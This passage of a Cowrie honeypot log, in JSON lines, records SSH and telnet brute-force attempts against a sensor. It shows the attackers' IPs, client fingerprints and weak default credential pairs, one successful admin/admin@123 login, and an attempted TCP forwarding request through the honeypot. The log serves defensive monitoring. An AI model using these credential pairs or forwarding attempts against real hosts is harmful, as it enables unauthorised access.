-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:50.087525Z","src_ip":"176.65.132.129","session":"e8d184808e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39154,"dst_ip":"10.17.0.5","dst_port":23,"session":"c23c0e4cad84","protocol":"telnet","message":"New connection: 45.58.127.90:39154 (10.17.0.5:23) [session: c23c0e4cad84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:50.172703Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:50.337263Z","src_ip":"176.65.132.129","session":"e8d184808e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:51.421800Z","src_ip":"176.65.132.129","session":"e8d184808e3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56106,"dst_ip":"159.203.135.109","dst_port":22,"session":"82cd95c2e784","protocol":"ssh","message":"New connection: 176.65.132.129:56106 (159.203.135.109:22) [session: 82cd95c2e784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:53.262484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:53.267400Z","src_ip":"176.65.132.129","session":"82cd95c2e784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:53.348721Z","src_ip":"176.65.132.129","session":"82cd95c2e784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:53.593070Z","src_ip":"176.65.132.129","session":"82cd95c2e784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56562,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7d4216b3926","protocol":"ssh","message":"New connection: 172.237.20.62:56562 (159.203.135.109:22) [session: a7d4216b3926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:54.390414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:54.394839Z","src_ip":"172.237.20.62","session":"a7d4216b3926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:54.555663Z","src_ip":"172.237.20.62","session":"a7d4216b3926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:54.678509Z","src_ip":"176.65.132.129","session":"82cd95c2e784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":18754,"dst_ip":"10.17.0.5","dst_port":22,"session":"373e9af05308","protocol":"ssh","message":"New connection: 176.65.132.50:18754 (10.17.0.5:22) [session: 373e9af05308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:54.709851Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:55.041917Z","src_ip":"172.237.20.62","session":"a7d4216b3926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:55.360648Z","src_ip":"176.65.132.50","session":"373e9af05308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:56.205020Z","src_ip":"172.237.20.62","session":"a7d4216b3926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43328,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b395fd88d88","protocol":"ssh","message":"New connection: 176.65.132.129:43328 (159.203.135.109:22) [session: 4b395fd88d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:56.479527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:56.484257Z","src_ip":"176.65.132.129","session":"4b395fd88d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:56.565849Z","src_ip":"176.65.132.129","session":"4b395fd88d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:57.011888Z","src_ip":"176.65.132.129","session":"4b395fd88d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":21828,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ebb3ec6c573","protocol":"ssh","message":"New connection: 176.65.132.50:21828 (10.17.0.5:22) [session: 0ebb3ec6c573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:58.083065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:58.091762Z","src_ip":"176.65.132.50","session":"0ebb3ec6c573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:58.096140Z","src_ip":"176.65.132.129","session":"4b395fd88d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:58.208822Z","src_ip":"176.65.132.50","session":"0ebb3ec6c573","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:59.285899Z","src_ip":"176.65.132.50","session":"0ebb3ec6c573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43336,"dst_ip":"159.203.135.109","dst_port":22,"session":"409ce9010b2c","protocol":"ssh","message":"New connection: 176.65.132.129:43336 (159.203.135.109:22) [session: 409ce9010b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:59.861998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:59.866735Z","src_ip":"176.65.132.129","session":"409ce9010b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:47:59.948773Z","src_ip":"176.65.132.129","session":"409ce9010b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:00.194782Z","src_ip":"176.65.132.129","session":"409ce9010b2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"176.65.132.50","dst_port":80,"src_ip":"176.65.132.50","src_port":5555,"message":"direct-tcp connection request to 176.65.132.50:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:00.737184Z","session":"0ebb3ec6c573","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"176.65.132.50","dst_port":80,"data":"b'sVWBUs52LSZ7ASgBa6m1sWbOVF4nawvt74nPDYXvpRUGbxoVHK'","id":0,"message":"discarded direct-tcp forward request 0 to 176.65.132.50:80 with data b'sVWBUs52LSZ7ASgBa6m1sWbOVF4nawvt74nPDYXvpRUGbxoVHK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:00.823406Z","src_ip":"176.65.132.50","session":"0ebb3ec6c573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:01.278720Z","src_ip":"176.65.132.129","session":"409ce9010b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:01.875774Z","src_ip":"176.65.132.50","session":"0ebb3ec6c573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43348,"dst_ip":"159.203.135.109","dst_port":22,"session":"98579fb990cb","protocol":"ssh","message":"New connection: 176.65.132.129:43348 (159.203.135.109:22) [session: 98579fb990cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:03.134790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:03.139670Z","src_ip":"176.65.132.129","session":"98579fb990cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:03.224818Z","src_ip":"176.65.132.129","session":"98579fb990cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:03.473264Z","src_ip":"176.65.132.129","session":"98579fb990cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.15304756164551,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:04.165372Z","src_ip":"45.58.127.90","session":"27afd2984ea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.29844617843628,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:04.466956Z","src_ip":"45.58.127.90","session":"564046b1a2e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:04.664355Z","src_ip":"176.65.132.129","session":"98579fb990cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":57388,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6ffefcb31ab","protocol":"ssh","message":"New connection: 172.237.20.62:57388 (159.203.135.109:22) [session: d6ffefcb31ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:05.321310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:05.326676Z","src_ip":"172.237.20.62","session":"d6ffefcb31ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:05.494984Z","src_ip":"172.237.20.62","session":"d6ffefcb31ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:05.987238Z","src_ip":"172.237.20.62","session":"d6ffefcb31ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46484,"dst_ip":"159.203.135.109","dst_port":22,"session":"683196b12059","protocol":"ssh","message":"New connection: 176.65.132.129:46484 (159.203.135.109:22) [session: 683196b12059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:06.393060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:06.397937Z","src_ip":"176.65.132.129","session":"683196b12059","protocol":"ssh"}
